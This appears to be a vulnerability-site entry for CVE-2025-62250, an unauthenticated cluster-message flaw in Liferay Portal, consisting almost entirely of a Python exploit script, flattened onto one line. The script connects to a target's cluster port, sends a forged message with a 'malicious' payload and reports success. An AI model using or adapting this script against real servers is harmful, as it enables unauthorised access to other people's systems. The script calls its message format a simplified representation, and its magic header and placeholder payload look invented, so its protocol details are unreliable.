CVE-2025-62250 Liferay Portal身份认证不当漏洞

#!/usr/bin/env python3 # CVE-2025-62250 - Liferay Portal Improper Authentication via Unauthenticated Cluster Messages # This PoC demonstrates the concept of sending forged cluster messages to a Liferay Portal instance # without authentication, exploiting the lack of proper authentication in cluster communication. import socket import struct import sys TARGET_HOST = "127.0.0.1" # Target Liferay Portal host TARGET_PORT = 7700 # Default Liferay cluster communication port (TCP) def build_cluster_message(payload): """ Build a forged Liferay cluster message. The cluster message format typically includes: - A magic header identifying the message type - Message length - Serialized payload data """ # Liferay cluster message header (simplified representation) magic_header = b"\x4c\x49\x46\x45" # "LIFE" magic bytes version = struct.pack(">B", 1) # Protocol version msg_type = struct.pack(">B", 0x05) # Cluster message type payload_bytes = payload.encode("utf-8") if isinstance(payload, str) else payload msg_length = struct.pack(">I", len(payload_bytes)) # Construct the full message message = magic_header + version + msg_type + msg_length + payload_bytes return message def send_forged_cluster_message(host, port, payload): """ Send a forged cluster message to the target Liferay Portal instance. No authentication is required due to CVE-2025-62250. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((host, port)) message = build_cluster_message(payload) sock.sendall(message) # Attempt to receive response response = sock.recv(4096) print(f"[+] Response received: {len(response)} bytes") print(f"[+] Response data: {response.hex()}") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_HOST = sys.argv[1] if len(sys.argv) > 2: TARGET_PORT = int(sys.argv[2]) print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") print("[*] CVE-2025-62250 - Unauthenticated Cluster Message Injection") # Craft malicious payload - serialized Java object or cluster data malicious_payload = "<cluster-message><data>malicious_trusted_data</data></cluster-message>" success = send_forged_cluster_message(TARGET_HOST, TARGET_PORT, malicious_payload) if success: print("[+] Forged cluster message sent successfully without authentication!") else: print("[-] Failed to send forged cluster message.")